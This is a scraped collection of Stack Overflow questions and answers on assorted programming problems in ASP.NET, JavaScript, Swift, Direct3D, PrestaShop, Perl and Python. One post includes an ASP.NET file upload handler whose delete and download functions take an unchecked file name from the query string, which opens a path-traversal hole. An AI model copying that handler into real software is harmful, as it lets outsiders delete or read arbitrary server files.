570446	0	 <p>First, I would like to clarify something. Is this a post back (trip back to server) never occur, or is it the post back occurs, but it never gets into the ddlCountry_SelectedIndexChanged event handler?</p> <p>I am not sure which case you are having, but if it is the second case, I can offer some suggestion. If it is the first case, then the following is FYI.</p> <p>For the second case (event handler never fires even though request made), you may want to try the following suggestions:</p> <ol> <li>Query the Request.Params[ddlCountries.UniqueID] and see if it has value. If it has, manually fire the event handler.</li> <li>As long as view state is on, only bind the list data when it is not a post back.</li> <li>If view state has to be off, then put the list data bind in OnInit instead of OnLoad.</li> </ol> <p>Beware that when calling Control.DataBind(), view state and post back information would no longer be available from the control. In the case of view state is on, between post back, values of the DropDownList would be kept intact (the list does not to be rebound). If you issue another DataBind in OnLoad, it would clear out its view state data, and the SelectedIndexChanged event would never be fired.</p> <p>In the case of view state is turned off, you have no choice but to rebind the list every time. When a post back occurs, there are internal ASP.NET calls to populate the value from Request.Params to the appropriate controls, and I suspect happen at the time between OnInit and OnLoad. In this case, restoring the list values in OnInit will enable the system to fire events correctly.</p> <p>Thanks for your time reading this, and welcome everyone to correct if I am wrong.</p>
15387981	0	 <p>You mention that somebody else encountered the problem and didn't receive a response, however the linked forum thread does contain a response and an answer to this issue. In that particular case a Javascript error had occurred on the page which prevented the dropdown from initializing correctly and I believe this is also the case for yourself. </p> <p>Although not completely working because there isn't a valid datasource, I took your example code and dumped it into a <a href="http://jsfiddle.net/nukefusion/BXxGS/" rel="nofollow">jsFiddle</a> and (after fixing some JS errors) you can see that the dropdown appears absolutely fine.</p> <p>In particular, there were errors regarding <code>grid</code> and <code>sitePath</code> not being defined that prevented the dropdown from initializing.</p> <pre><code> var grid; var sitePath = ''; $().ready(function () { grid = $('#listDiv').kendoGrid({ dataSource: { type: 'json', serverPaging: true, pageSize: 10, transport: { read: { url: '', data: { ignore: Math.random() } } }, schema: { model: { id: 'Id', fields: { Id: { type: 'number' }, Name: { type: 'string' }, Ex: { type: 'string' }, Date: { type: 'string' }, Check1: { type: 'string' }, Check2: { type: 'string' }, Check3: { type: 'string' }, Check4: { type: 'string' }, Check5: { type: 'string' }, Edit: { type: 'string' } } }, data: "Data", total: "Count" } }, scrollable: false, toolbar: kendo.template($("#template").html()), columns: [ { field: 'Name' }, { field: 'Ex' }, { field: 'Date' }, { template: '#=Template1#' + sitePath + '#=Patient1#', field: 'Patient1', title: 'Patient 1', width: 50 }, { template: '#=Template2#' + sitePath + '#=Patient2#', field: 'Patient2', title: 'Patient 2', width: 50 }, { template: '#=Template3#' + sitePath + '#=Patient3#', field: 'Patient3', title: 'Patient 3', width: 50 }, { template: '#=Template4#' + sitePath + '#=Patient4#', field: 'Patient4', title: 'Patient 4', width: 50 }, { template: '#=Template5#' + sitePath + '#=Patient5#', field: 'Patient5', title: 'Patient 5', width: 50 } ], pageable: true }); var dropDown = grid.find("#external").kendoDropDownList({ dataTextField: "ExName", dataValueField: "ExId", autoBind: false, optionLabel: "All", dataSource: { type: "json", severFiltering: true, transport: { url: '@Url.Action("_Ex", "Entry")', data: { ignore: Math.random() } } }, change: function () { var value = this.value(); if (value) { grid.data("kendoGrid").dataSource.filter({ field: "ExId", operator: "eq", value: parseString(value) }); } else { grid.data("kendoGrid").dataSource.filter({}); } } }); theGrid = $('#listDiv').data('kendoGrid'); }); </code></pre>
11743723	0	Separate NSData objects <p>I am using an NSURLConnection to receive a stream of tweets through Twitter. Each tweet that I receive is an NSData object. After the connection receives data and is appended, the log looks like this for the NSData object:</p> <pre><code>Data that is received: &lt;3c68746d 6c3e0a3c 68656164 3e0a3c6d 65746120 68747470 2d657175 69763d22 436f6e74 656e742d 54797065 2220636f 6e74656e 743d2274 6578742f 68746d6c 3b206368 61727365 743d7574 662d3822 2f3e0a3c 7469746c 653e4572 726f7220 34303120 556e6175 74686f72 697a6564 3c2f7469 746c653e 0a3c2f68 6561643e 0a3c626f 64793e0a 3c68323e 48545450 20455252 4f523a20 3430313c 2f68323e 0a3c703e 50726f62 6c656d20 61636365 7373696e 6720272f 312f7374 61747573 65732f66 696c7465 722e6a73 6f6e272e 20526561 736f6e3a 0a3c7072 653e2020 2020556e 61757468 6f72697a 65643c2f 7072653e 0a202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 200a2020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20200a20 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 2020200a 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 0a3c2f62 6f64793e 0a3c2f68 746d6c3e 0a&gt; </code></pre> <p>Now my question is, how do I separate those so each is their own NSData object? I cannot parse it using NSJSONSerialization until I am able to do that. I assume each of those addresses is a tweet that needs parsed.</p> <p>Thanks!</p>
7665529	0	Error in passing the hidden values to JavaScript in asp.net <p>Problem with passing values to Javascript, am I going wrong in passing the value pls help.</p> <pre><code>var percentage= parseInt(document.getElementById("&lt;%=hid_Percentage.ClientID%&gt;").value); var color = document.getElementById("&lt;%=hid_Color.ClientID%&gt;").value; var progress1 = new RGraph.VProgress('progress1', percentage, 100); progress1.Set('chart.colors', [color]); progress1.Set('chart.tickmarks', false); progress1.Draw(); </code></pre> <p>I have 2 hidden fields</p> <pre><code> &lt;asp:HiddenField ID="hid_Percentage" runat="server" /&gt; &lt;asp:HiddenField ID="hid_Color" runat="server" /&gt; </code></pre> <p>And this is how I pass value to the hidden field in code behind in asp.net</p> <pre><code> double value = (read * 100 / count); string vProgressColor = "'#e01600'"; hid_Percentage.Value = Convert.ToString(value); hid_Color.Value = vProgressColor; </code></pre> <p>The value for percentage is passed correclty as the graph is drawn using that value. But the color is emply. it is not getting the color.,</p>
35555549	0	Store Swift Type in variable <p>I have a data model for a <code>UITableViewCell</code> that looks like this:</p> <pre><code>class SettingsContentRow { var title: String var cellType: Type // How do i do this? var action:((sender: UITableViewCell.Type) -&gt; ())? var identifier: String { get { return NSStringFromClass(cellType) } } init(title: String, cellType: Type) { self.title = title self.cellType= cellType } } </code></pre> <p>The idea is to put these in an array to facilitate building a settings view using a <code>UITableViewController</code>, and when requesting a cell i can just query the model for both the identifier and the cell <code>Type</code>. But i cannot figure out what keyword to use instead of <code>Type</code>. I have tried <code>Type</code>, <code>AnyClass</code>, <code>UITableViewCell.Type</code> and they all give rise to type assignment errors when i try to instantiate the model class.</p>
37550861	0	 <p>The dynamic and staging are both likely to be in system memory, but their is good chance that your issue, is write combined memory. It is a cache mode where single writes are coalesced together, but if you attempt to read, because it is un-cached, each load pay the price of a full memory access. You even have to be very careful, because a c++ <code>*data=something;</code> may sometime also leads to unwanted reads.</p> <p>There is nothing wrong with a dynamic texture, the GPU can read system memory, but you need to be careful, create a few of them, and cycle each frame with a map_nooverwrite, to inhibit the costly driver buffer renaming of the discard. Of course, never do a map in read and write, only write, or you will introduce gpu/cpu sync and kill the parallelism.</p> <p>Last, if you want a persistent surface and only a few putpixel a frame (or even a lot of them), i would go with an unordered access view and a compute shader that consume a buffer of pixel position with colors to update. That buffer would be a dynamic buffer with nooverwrite mapping, once again. With that solution, the main surface will reside in video memory.</p> <p>On a personal note, i would not even bother to teach cpu surface manipulation, this is almost always a bad practice and a performance killer, and not the way to go in a modern gpu architecture. This was not a fundamental graphic concept a decade ago already.</p>
29626518	0	Why does Control.Invoke() calls PostMessage() instead of SendMessage()? <p><code>Control.Invoke()</code> calls <code>PostMessage()</code> and then waits until the UI thread finishes processing the message. So why it does not calls <code>SendMessage()</code> instead (which by default waits until the UI thread finishes processing the message).</p>
38441263	0	 <p>Try this</p> <pre><code> var query = context.Products .Where(a =&gt; request.SearchTerm == null || a.Name.Contains(request.SearchTerm)) .Where(a =&gt; (a.OrderType == "X" &amp;&amp; request.isTypeA) || (a.OrderType == "R" &amp;&amp; request.typeB) || (a.OrderType == "D" &amp;&amp; request.typeC)) .Where (a=&gt; a.OrderType != "U") .Where(a =&gt; a.IsInactiveFlag == false ) .OrderBy(a =&gt; a.OrderType) .Select(c =&gt; new ProductType { ProductTypeId = c.ProductTypeId, IsSelected = false, OrderType = c.OrderType, Name = c.Name, IsInactiveFlag = c.IsInactiveFlag }); </code></pre>
6187053	0	 <p>You can:</p> <ul> <li>At Page level set the page directive like &lt;%Page smartNavigation="True" %> </li> <li>At Application level set smartNavigation="true" in web.config </li> </ul>
21817593	0	Fiddler Auto Responder + Regular Expression <p>I know that the title is not very descriptive but here's what I just cant figure out!! Okay so I have something like the following URL:</p> <pre><code>http://realsite.com/Stuff/start.ashx?blah=blah1&amp;RandomStuffHere&amp;blah=false </code></pre> <p>So I need to either redirect it or supply it with my site:</p> <pre><code>http://My_Site.com/Stuff/newstart.ashx?blah=blah1&amp;RandomStuffHere&amp;blah=true </code></pre> <p>Realize how I kept everything the same except for the domain which I changed to mine, and the bool value at the end. I have searched, and searched and still cant find anything that works.</p> <p>I currently am trying a REGEX solution but it wont let me change the bool at end. <code>REGEX:.*/Stuff/start.ashx(.*)</code></p> <p>So if anyone can provide something like this that lets me redirect to my site with everything the same as the New url except for changing the bool at end, I will be forever in your debt! :D</p> <p>Thank you in advance :)</p>
6627922	0	500 Internal Server Error when trying to access .ashx file <p>I have recently ran into a problem that would not allow me to use DELETE and PUT requests into my .ashx file, so I added the proper verbs in order to allow that access. Now I am getting a 500 Internal Server Error. Here is my web.config for the handlers:</p> <pre><code>&lt;handlers&gt; &lt;remove name="OPTIONSVerbHandler" /&gt; &lt;remove name="WebServiceHandlerFactory-Integrated" /&gt; &lt;remove name="svc-Integrated" /&gt; &lt;remove name="WebDAV" /&gt; &lt;add name="svc-Integrated" path="*.svc" verb="*" type="System.ServiceModel.Activation.HttpHandler, System.ServiceModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" preCondition="integratedMode" /&gt; &lt;add name="OwssvrHandler" scriptProcessor="C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\14\isapi\owssvr.dll" path="/_vti_bin/owssvr.dll" verb="*" modules="IsapiModule" preCondition="integratedMode" /&gt; &lt;add name="ScriptHandlerFactory" verb="*" path="*.asmx" preCondition="integratedMode" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" /&gt; &lt;add name="ScriptHandlerFactoryAppServices" verb="*" path="*_AppService.axd" preCondition="integratedMode" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" /&gt; &lt;add name="ScriptResource" preCondition="integratedMode" verb="GET,HEAD" path="ScriptResource.axd" type="System.Web.Handlers.ScriptResourceHandler, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" /&gt; &lt;add name="JSONHandlerFactory" path="*.json" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="Unspecified" preCondition="integratedMode" /&gt; &lt;add name="ReportViewerWebPart" verb="*" path="Reserved.ReportViewerWebPart.axd" type="Microsoft.ReportingServices.SharePoint.UI.WebParts.WebPartHttpHandler, Microsoft.ReportingServices.SharePoint.UI.WebParts, Version=10.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" /&gt; &lt;add name="ReportViewerWebControl" verb="*" path="Reserved.ReportViewerWebControl.axd" type="Microsoft.Reporting.WebForms.HttpHandler, Microsoft.ReportViewer.WebForms, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" /&gt; &lt;add name="ashxhandler" path="*.ashx" verb="*" type="System.Web.UI.SimpleHandlerFactory" validate="True" /&gt; &lt;/handlers&gt; </code></pre> <p>Here is the httpHandlers:</p> <pre><code>&lt;httpHandlers&gt; &lt;add path="*.ashx" verb="*" type="System.Web.UI.SimpleHandlerFactory" validate="True" /&gt; &lt;/httpHandlers&gt; </code></pre> <p>Any ideas? I already went to IIS 7, went to Request Filtering, added .ashx file extension, set it to true and then in the HTTP Verbs section I added DELETE, POST, GET, HEADER, PUT.</p> <p>EDIT:</p> <p>Here is my .ashx file:</p> <pre><code>&lt;%@ WebHandler Language="C#" Class="jQueryUploadTest.Upload" %&gt; using System; using System.Collections.Generic; using System.IO; using System.Security.AccessControl; using System.Web; using System.Web.Script.Serialization; namespace jQueryUploadTest { public class Upload : IHttpHandler { public class FilesStatus {/* public string thumbnail_url { get; set; } public string name { get; set; } public string url { get; set; } public int size { get; set; } public string type { get; set; } public string delete_url { get; set; } public string delete_type { get; set; } public string error { get; set; } public string progress { get; set; } */ private string m_thumbnail_url; private string m_name; private string m_url; private int m_size; private string m_type; private string m_delete_url; private string m_delete_type; private string m_error; private string m_progress; public string thumbnail_url { get { return m_thumbnail_url; } set { m_thumbnail_url = value; } } public string name { get { return m_name; } set { m_name = value; } } public string url { get { return m_url; } set { m_url = value; } } public int size { get { return m_size; } set { m_size = value; } } public string type { get { return m_type; } set { m_type = value; } } public string delete_url { get { return m_delete_url; } set { m_delete_url = value; } } public string delete_type { get { return m_delete_type; } set { m_delete_type = value; } } public string error { get { return m_error; } set { m_error = value; } } public string progress { get { return m_progress; } set { m_progress = value; } } } private readonly JavaScriptSerializer js = new JavaScriptSerializer(); private string ingestPath; public bool IsReusable { get { return false; } } public void ProcessRequest (HttpContext context) { //var r = context.Response; ingestPath = @"C:\temp\ingest\"; context.Response.AddHeader("Pragma", "no-cache"); context.Response.AddHeader("Cache-Control", "private, no-cache"); HandleMethod(context); } private void HandleMethod (HttpContext context) { switch (context.Request.HttpMethod) { case "HEAD": case "GET": ServeFile(context); break; case "POST": UploadFile(context); break; case "DELETE": DeleteFile(context); break; default: context.Response.ClearHeaders(); context.Response.StatusCode = 405; break; } } private void DeleteFile (HttpContext context) { string filePath = ingestPath + context.Request["f"]; if (File.Exists(filePath)) { File.Delete(filePath); } } private void UploadFile (HttpContext context) { List&lt;FilesStatus&gt; statuses = new List&lt;FilesStatus&gt;(); System.Collections.Specialized.NameValueCollection headers = context.Request.Headers; if (string.IsNullOrEmpty(headers["X-File-Name"])) { UploadWholeFile(context, statuses); } else { UploadPartialFile(headers["X-File-Name"], context, statuses); } WriteJsonIframeSafe(context, statuses); } private void UploadPartialFile (string fileName, HttpContext context, List&lt;FilesStatus&gt; statuses) { if (context.Request.Files.Count != 1) throw new HttpRequestValidationException("Attempt to upload chunked file containing more than one fragment per request"); Stream inputStream = context.Request.Files[0].InputStream; string fullName = ingestPath + Path.GetFileName(fileName); using (FileStream fs = new FileStream(fullName, FileMode.Append, FileAccess.Write)) { byte[] buffer = new byte[1024]; int l = inputStream.Read(buffer, 0, 1024); while (l &gt; 0) { fs.Write(buffer,0,l); l = inputStream.Read(buffer, 0, 1024); } fs.Flush(); fs.Close(); } FilesStatus MyFileStatus = new FilesStatus(); MyFileStatus.thumbnail_url = "Thumbnail.ashx?f=" + fileName; MyFileStatus.url = "Upload.ashx?f=" + fileName; MyFileStatus.name = fileName; MyFileStatus.size = (int)(new FileInfo(fullName)).Length; MyFileStatus.type = "image/png"; MyFileStatus.delete_url = "Upload.ashx?f=" + fileName; MyFileStatus.delete_type = "DELETE"; MyFileStatus.progress = "1.0"; /* { thumbnail_url = "Thumbnail.ashx?f=" + fileName, url = "Upload.ashx?f=" + fileName, name = fileName, size = (int)(new FileInfo(fullName)).Length, type = "image/png", delete_url = "Upload.ashx?f=" + fileName, delete_type = "DELETE", progress = "1.0" }; */ statuses.Add(MyFileStatus); } private void UploadWholeFile(HttpContext context, List&lt;FilesStatus&gt; statuses) { for (int i = 0; i &lt; context.Request.Files.Count; i++) { HttpPostedFile file = context.Request.Files[i]; file.SaveAs(ingestPath + Path.GetFileName(file.FileName)); string fileName = Path.GetFileName(file.FileName); FilesStatus MyFileStatus = new FilesStatus(); MyFileStatus.thumbnail_url = "Thumbnail.ashx?f=" + fileName; MyFileStatus.url = "Upload.ashx?f=" + fileName; MyFileStatus.name = fileName; MyFileStatus.size = file.ContentLength; MyFileStatus.type = "image/png"; MyFileStatus.delete_url = "Upload.ashx?f=" + fileName; MyFileStatus.delete_type = "DELETE"; MyFileStatus.progress = "1.0"; statuses.Add(MyFileStatus); } } private void WriteJsonIframeSafe(HttpContext context, List&lt;FilesStatus&gt; statuses) { context.Response.AddHeader("Vary", "Accept"); try { if (context.Request["HTTP_ACCEPT"].Contains("application/json")) { context.Response.ContentType = "application/json"; } else { context.Response.ContentType = "text/plain"; } } catch { context.Response.ContentType = "text/plain"; } string jsonObj = js.Serialize(statuses.ToArray()); context.Response.Write(jsonObj); } private void ServeFile (HttpContext context) { if (string.IsNullOrEmpty(context.Request["f"])) ListCurrentFiles(context); else DeliverFile(context); } private void DeliverFile (HttpContext context) { string filePath = ingestPath + context.Request["f"]; if (File.Exists(filePath)) { context.Response.ContentType = "application/octet-stream"; context.Response.WriteFile(filePath); context.Response.AddHeader("Content-Disposition", "attachment, filename=\"" + context.Request["f"] + "\""); } else { context.Response.StatusCode = 404; } } private void ListCurrentFiles (HttpContext context) { List&lt;FilesStatus&gt; files = new List&lt;FilesStatus&gt;(); string[] names = Directory.GetFiles(@"C:\temp\ingest", "*", SearchOption.TopDirectoryOnly); foreach (string name in names) { FileInfo f = new FileInfo(name); FilesStatus MyFileStatus = new FilesStatus(); MyFileStatus.thumbnail_url = "Thumbnail.ashx?f=" + f.Name; MyFileStatus.url = "Upload.ashx?f=" + f.Name; MyFileStatus.name = f.Name; MyFileStatus.size = (int)f.Length; MyFileStatus.type = "image/png"; MyFileStatus.delete_url = "Upload.ashx?f=" + f.Name; MyFileStatus.delete_type = "DELETE"; files.Add(MyFileStatus); /*files.Add(new FilesStatus { thumbnail_url = "Thumbnail.ashx?f=" + f.Name, url = "Upload.ashx?f=" + f.Name, name = f.Name, size = (int)f.Length, type = "image/png", delete_url = "Upload.ashx?f=" + f.Name, delete_type = "DELETE" });*/ } context.Response.AddHeader("Content-Disposition", "inline, filename=\"files.json\""); string jsonObj = js.Serialize(files.ToArray()); context.Response.Write(jsonObj); context.Response.ContentType = "application/json"; } } } </code></pre> <p>The error:</p> <pre><code>XML Parsing Error: no element found Location: http://nbcddmsps01:87/_layouts/IrvineCompany.SharePoint.CLM/aspx/Upload.ashx?f=test.txt Line Number 1, Column 1: </code></pre> <p>I ONLY got this error AFTER i added verbs to my web.config so I could call DELETE and PUT requests into the httphandler</p>
28883190	0	 <p>I think you can use a sub report, I know that you need a HashMap to build a sub report, then I propose the following:</p> <p>1.- Create three classes:</p> <pre><code>public class RowEmployee { private int sno; private String supervisor; private int [] machines; private String [] employees; // getters and setters } public class RowMachinesDetails { private int sno; private int machine; private int workMins; private int productinKg; // getters and setters } public class Shift { private Date dateShift; private List&lt;TableEmployee&gt; listTableEmployee; private List&lt;TableMachinesDetails&gt; listTableMachinesDetails; // getters and setters } </code></pre> <p>The RowEmployee class is for the first table, the RowMachinesDetails is for the second table and the Shift class is for each shift of your report. As you can see, the Shift class has a list of RowEmployee and a list of RowMachinesDetails, because these lists correspond to each table, also it has a date which corresponds to date of the shift.</p> <p>2.- Fill your lists with data of employee and data of production</p> <pre><code>List&lt;TableEmployee&gt; listTableEmployee = new ArrayList&lt;TableEmployee&gt;(); List&lt;TableMachinesDetails&gt; listTableMachinesDetails = new ArrayList&lt;TableMachinesDetails&gt;(); //Create instances of TableEmployee and TableMachinesDetails, and fill your lists listTableEmployee.add(TableEmployee); listTableMachinesDetails(TableMachinesDetails); </code></pre> <p>3.- Create instances of Shift and fill your HashMap with these instances, put the number of shift as key in the HashMap.</p> <pre><code>//Create instances of Shift Shift shift = new Shift(); shift.setDateShitf (dateShift); shift.setListTableEmployee(listTableEmployee); shift.setListTableMachinesDetails(listTableMachinesDetails); //Fill the HashMap hashMapShift.add("I", shift); </code></pre> <p>4.- Finally, create your datasource as HashMap in iReport and use hashMapShift to fill your datasource.</p> <p>NOTE: Maybe the type of variables aren't appropiate, the most important is the concept of the solution.</p> <p>I hope this helps you.</p> <p>Good Luck.</p>
27486189	0	 <p>Let me first warn you that long ternary operations like this is usually not prescribed as it's only going to cause problems in the future if there's any modifications. Nevertheless, the following will do the required:</p> <pre><code>int x = 600000; x = (x &gt; 250000 &amp;&amp; x &lt; 500000) ? ((x / 100) * 10): ((x &gt; 500000 &amp;&amp; x &lt; 1000000) ? ((x / 100) * 20): (x &gt; 1000000) ? ((x / 100) * 30):x); </code></pre>
8938852	0	Loading "window.open" command on IOS devices only.....? <p>my first endeavor at building a site to accomodate IOS, and it's not going well.</p> <p>embedding a flickr slideshow as an object on the page. works fine on regular browsers, not so much on iPad (obviously, because it's flash.) - nothing loads but the background image.</p> <p>have a decent workaround, which is to make the cell itself a link, that opens a new browser window with the flickr page itself. perfect on the iPad. But on regular browsers clicking on the flickr object produces both actions - slideshow AND new window with flickr page.</p> <p>what i need is to script it in such a way that <strong>only</strong> the IOS will see this instruction:</p> <pre><code>onclick="window.open('http://www.flickr.com//photos/72076640@N04/sets/72157628873638463/show/');" </code></pre> <p>here's the page in question:</p> <pre><code>http://creyoncafe.com/pages/galeria2.html </code></pre> <p>Can anybody help? </p> <p>(Hope I was clear. Sorry if i went on too long... was following the edict to be as specific as possible. )</p> <p><strong>Thanks.</strong></p>
16534013	0	Using Db::getInstance() in a CLI script <p>I've been wanting to create a add-on cron script that utilises Prestashop's DB class instead of instantiating the database handle directly, but I can't seem to figure out where did the "Db" class commonly referenced by "Db::getInstance()" calls get defined.</p> <p>classes/Db.php defines an abstract DbCore class. MySQLCore extends Db as you can see, however Db is never defined anywhere:</p> <pre><code>[/home/xxxx/www/shop/classes]# grep -r "extends Db" ../ ../classes/MySQL.php:class MySQLCore extends Db </code></pre> <p>According to another thread on Prestashop forums, the abstract DbCore class is implemented in a class located in override/classes/db, however that directory does not exist.</p> <pre><code>[/home/xxxx/www/shop/override]# cd ../override/ [/home/xxxx/www/shop/override]# ls ./ ../ classes/ controllers/ [/home/xxxx/www/shop/override]# cd classes/ [/home/xxxx/www/shop/override/classes]# ls ./ ../ _FrontController.php* _Module.php* _MySQL.php* </code></pre> <p>Our shop is working, so obviously I am missing something. We are running Prestashop 1.4.1, so perhaps the docs are no longer applicable.</p> <p>Quite clearly in many places in the code base functions from the Db class are being used, but this last grep through the code found nothing:</p> <pre><code>grep -rwI "Db" . | grep -v "::" ./modules/productcomments/productcommentscriterion.php:require_once(dirname(__FILE__).'/../../classes/Db.php'); ./classes/MySQL.php:class MySQLCore extends Db ./classes/Db.php: * Get Db object instance (Singleton) ./classes/Db.php: * @return object Db instance ./classes/Db.php: * Build a Db object </code></pre> <p>Is there something I am missing? Where did this magical Db class come from?</p>
21141842	0	A query to get me specifique alphabetic order <p>I have a table called <code>telephone_contacts</code> that contain two columns:</p> <pre><code>telephone_contacts ( Name varchar(100) Numbers number(20) ) </code></pre> <p>the column <code>name</code> contains about 20,000 rows.</p> <p>I want to filter the name by alphabetic , example:</p> <p>I want a query that get me only the first 6 alphabetic <code>(A , B, C , D ,E ,F G)</code> </p> <p>Then, a query that get me the last 6 alphabetic <code>(U,V,W,X,Y,Z)</code></p> <p>Edit:</p> <p>example: the column name contains the following data:<br/> <b>Abe, car, night, range, chicken, zoo, whatsapp,facebook, viber Adu , aramt, Bike, Male, dog,egg</b> <br/>I want a query that get me only <code>(A , B, C , D ,E ,F G)</code> so the results will be <br/>abe ,care ,chicken facebook,adu,aramt,bike, dog, egg <br/> the rest are ignored </p>
8132550	0	 <p>I did a similar thing for a service I created that ran periodically to download a file if it changed but found it was being killed by the OS after several hours. Since using <code>startForeground</code>, the problem has gone away. </p> <p>I don't think there'd be a difference between my service that does minimal work and your empty one.</p>
1507632	0	 <p>This has regular expression checking to make sure your data is formatted well.</p> <pre> fid = fopen('data.txt','rt'); %these will be your 8 value arrays val1 = []; val2 = []; val3 = []; val4 = []; val5 = []; val6 = []; val7 = []; val8 = []; linenum = 0; % line number in file valnum = 0; % number of value (1-8) while 1 line = fgetl(fid); linenum = linenum+1; if valnum == 8 valnum = 1; else valnum = valnum+1; end %-- if reached end of file, end if isempty(line) | line == -1 fclose(fid); break; end switch valnum case 1 pat = '(?\d{4})-(?\d{2})-(?\d{2})'; % val1 (e.g. 1999-01-04) case 2 pat = '(?\d*[,]*\d*[,]*\d*[.]\d{2})'; % val2 (e.g. 1,100.00) [valid up to 1billion-1] case 3 pat = '(?\d*[,]*\d*[,]*\d*[.]\d{2})'; % val3 (e.g. 1,060.00) [valid up to 1billion-1] case 4 pat = '(?\d*[,]*\d*[,]*\d*[.]\d{2})'; % val4 (e.g. 1,092.50) [valid up to 1billion-1] case 5 pat = '(?\d+)'; % val5 (e.g. 0) case 6 pat = '(?\d*[,]*\d*[,]*\d+)'; % val6 (e.g. 6,225) [valid up to 1billion-1] case 7 pat = '(?\d*[,]*\d*[,]*\d+)'; % val7 (e.g. 1,336,605) [valid up to 1billion-1] case 8 pat = '(?\d+)'; % val8 (e.g. 37) otherwise error('bad linenum') end l = regexp(line,pat,'names'); % l is for line if length(l) == 1 % match if valnum == 1 serialtime = datenum(str2num(l.yr),str2num(l.mo),str2num(l.dy)); % convert to matlab serial date val1 = [val1;serialtime]; else this_val = strrep(l.val,',',''); % strip out comma and convert to number eval(['val',num2str(valnum),' = [val',num2str(valnum),';',this_val,'];']) % save this value into appropriate array end else warning(['line number ',num2str(linenum),' skipped! [didnt pass regexp]: ',line]); end end </pre>
6295851	0	Parsing PCAP file into XML file using Perl <p>I'm trying to get Perl to read an offline pcap file and save the output into XML file so I can work with it in PHP.</p> <p>I can't use PHP because its not my server but I can Perl. So my aim is to convert the PCAP file into XML so I have fun with it.</p> <p>I have no idea where to start and have looked at the Perl Net::Pcap but I just don't understand the language.</p> <p>Any ideas on what I should do? Thank-you Paul</p>
31091868	0	 <p>you are not supposed to use the method what you had followed in your query when you assign a value to a variable.</p> <pre><code>DECLARE @price_base NVARCHAR(50) = (SELECT tbl_model2.price_base FROM tbl_model2) </code></pre> <p>This select statement within bracket returns a resultset, not a single value, which cannot be stored into a variable (except table data typed variable). Don't practice this method, this will always end up with errors.</p> <p>You should always use</p> <pre><code>select top 1 @price_base = price_base FROM tbl_model2 </code></pre> <p>when you insert multiple rows, assigning values into a variable inside a trigger, will lead you to lose data. </p>
2519566	0	 <p>See my answer to your other question <a href="http://stackoverflow.com/questions/2503639/how-do-you-make-a-netbeans-form-automatically-populate-fields-in-a-class/2519515#2519515">here</a>. (In short: using beans binding would help a bit I hope)</p>
21559305	0	 <p>I'm reasonably certain nothing built into iostreams supports this directly.</p> <p>I think the cleanest way to handle it is to round the number before passing it to an iostream to be printed out:</p> <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;cmath&gt; double rounded(double in, int places) { double factor = std::pow(10, places); return std::round(in * factor) / factor; } int main() { std::vector&lt;double&gt; values{ 0.000000095123, 0.0095123, 0.95, 0.95123 }; for (auto i : values) std::cout &lt;&lt; "value = " &lt;&lt; 100. * rounded(i, 5) &lt;&lt; "%\n"; } </code></pre> <p>Due to the way it does rounding, this has a limitation on the magnitude of numbers it can work with. For percentages this probably isn't an issue, but <em>if</em> you were working with a number close to the largest that can be represented in the type in question (<code>double</code> in this case) the multiplication by <code>pow(10, places)</code> could/would overflow and produce bad results.</p> <p>Though I can't be <em>absolutely</em> certain, it doesn't seem like this would be likely to cause an issue for the problem you seem to be trying to solve.</p>
14982389	1	How to organise specially formatted text to a list (on python) <p>I've got data with flight routing codes. It has lot's of strings like this:</p> <pre><code>routing = 'PBI-FLL/FMY/JAX/MIA/ORL-PNS/TPA-SRQ-CLE/CHI/HOU/WAS-DEN-ELP' </code></pre> <p>I need to get lists with this strings like this: </p> <pre><code>routinglist = [['PBI'], ['FLL','FMY','JAX','MIA','ORL'], ['PNS','TPA'], ['SRQ'], ['CLE','CHI','HOU','WAS'], ['DEN']] </code></pre> <p>I wrote this code but it is to complicated and doesn't work as needed</p> <pre><code>routingrules = 'PBI-FLL/FMY/JAX/MIA/ORL-PNS/TPA-SRQ-CLE/CHI/HOU/WAS-DEN-ELP' airports = [] nn = 0 few = '' airportcount = 0 for simvol in routingrules: if (nn) % 4 == 0: previous = routingrules[nn:nn+3] if routingrules[nn+3:nn+4] == '/': few = few + previous + "1,2" elif routingrules[nn+3:nn+4] == '-': if few != '': airports.append([few + previous]) airportcount = airportcount+1 few = '' else: airports.append([previous]) airportcount = airportcount+1 else: if few != '': airports.append([few + previous]) airportcount = airportcount+1 few = '' nn = nn+1 nn = nn+1 print airports </code></pre> <p>it prints </p> <pre><code>[['PBI'], ['FLL1,2FMY1,2JAX1,2MIA1,2ORL'], ['PNS1,2TPA'], ['SRQ'], ['CLE1,2CHI1,2HOU1,2WAS'], ['DEN']] </code></pre>
4429256	0	What's the name of jQuery plugin which auto arranges div/image elements on page? <p>That plugin was able to arrange elements to remove empty spaces between them. </p> <p>Example:</p> <p><img src="https://i.stack.imgur.com/y1KUJ.jpg" alt="http://imgur.com/pUR0Z.jpg"></p>
